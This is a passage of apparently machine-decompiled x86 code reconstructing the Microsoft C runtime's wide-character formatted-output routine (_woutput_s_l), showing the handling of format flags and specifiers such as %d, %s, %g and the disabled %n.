																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L50:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L53:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L59:
																					L61:
																					goto L64;
																				}
																				L54:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L59;
																				}
																				L55:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L59;
																				}
																				L56:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L59;
																				}
																				L57:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L59;
																				}
																				L58:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L18;
																				}
																				goto L59;
																			}
																			L51:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L53;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L61;
																			}
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L61;
																		}
																	case 1:
																		L62:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L64;
																	case 2:
																		L43:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L64;
																	case 3:
																		L63:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L64;
																	case 4:
																		goto L64;
																}
															case 7:
																L65:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4ec);
																__ecx =  *(__ebp - 0x4ec) - 0x41;
																 *(__ebp - 0x4ec) = __ecx;
																__eflags =  *(__ebp - 0x4ec) - 0x37;
																if( *(__ebp - 0x4ec) > 0x37) {
																	while(1) {
																		L187:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																}
																L66:
																_t141 =  *(__ebp - 0x4ec) + 0x43c6c0; // 0xcccccc0d
																__eax =  *_t141 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C684))) {
																	case 0:
																		L120:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L121;
																	case 1:
																		L67:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L69;
																	case 2:
																		L82:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L84;
																	case 3:
																		L144:
																		 *(__ebp - 0x460) = 7;
																		L145:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L150;
																	case 4:
																		L75:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x474) = E00428150(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x474);
																		if( *(__ebp - 0x474) == 0) {
																			L77:
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																			L81:
																			goto L187;
																		}
																		L76:
																		__ecx =  *(__ebp - 0x474);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L81;
																		}
																		goto L77;
																	case 5:
																		L121:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L123:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L128:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B540( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AAD0(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x440374; // 0x2c9cf96e
																				E00424340(__edx) =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AAD0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xac9cf9bd
																						E00424340(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AAD0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x44037c; // 0xac9cf9c2
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																				do {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				} while ( *(__ebp - 0x4ec) > 0x37);
																				goto L66;
																			}
																			L124:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L126;
																			}
																			L125:
																			 *(__ebp - 0x30) = 1;
																			goto L128;
																		}
																		L122:
																		 *(__ebp - 0x30) = 6;
																		goto L128;
																	case 6:
																		L69:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E00428150(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x470) = __dl;
																			 *((char*)(__ebp - 0x46f)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AAD0(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E0041AAD0(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x470;
																			__eax = __ebp - 0x448;
																			__eax = E0043B200(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	case 7:
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L150:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428150(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428150(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428150(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																	case 8:
																		L106:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x484) = E00428150(__ebp + 0x14);
																		__eax = E00433CF0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L116:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x484);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x484);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x484)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																		L107:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4f4) = 0;
																		} else {
																			 *(__ebp - 0x4f4) = 1;
																		}
																		__edx =  *(__ebp - 0x4f4);
																		 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E000();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) != 0) {
																			L115:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		} else {
																			L114:
																			 *((intOrPtr*)(L00422AF0(__ecx))) = 0x16;
																			__eax = E00422880(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4cc) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AAA0(__ecx);
																			__eax =  *(__ebp - 0x4cc);
																			goto L225;
																		}
																	case 9:
																		L148:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xa:
																		L143:
																		 *(__ebp - 0x30) = 8;
																		goto L144;
																	case 0xb:
																		L84:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4f0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4f0);
																		 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428150(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L98:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0x440f84; // 0x404438
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x480) =  *(__ebp - 4);
																			while(1) {
																				L101:
																				__eax =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c) - 1;
																				 *(__ebp - 0x47c) = __ecx;
																				__eflags =  *(__ebp - 0x47c);
																				if( *(__ebp - 0x47c) == 0) {
																					break;
																				}
																				L102:
																				__edx =  *(__ebp - 0x480);
																				__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L103:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			}
																			L104:
																			__edx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L105;
																		} else {
																			L88:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x478) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																				if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																					break;
																				}
																				L93:
																				__ecx =  *(__ebp - 0x478);
																				__edx =  *__ecx;
																				__eflags =  *__ecx;
																				if( *__ecx == 0) {
																					break;
																				}
																				L94:
																				__ecx = __ebp - 0x40;
																				E0041AAD0(__ebp - 0x40) =  *(__ebp - 0x478);
																				__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																				__eax = E00431000( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																				__eflags = __eax;
																				if(__eax != 0) {
																					__edx =  *(__ebp - 0x478);
																					__edx =  *(__ebp - 0x478) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x478) = __edx;
																				}
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				__edx =  *(__ebp - 0x24);
																				__edx =  *(__ebp - 0x24) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																			}
																			L97:
																			L105:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																	case 0xc:
																		L142:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																}
															case 8:
																L24:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) = __ecx;
																goto L27;
															case 9:
																L25:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L27;
															case 0xa:
																L23:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																goto L27;
															case 0xb:
																L22:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
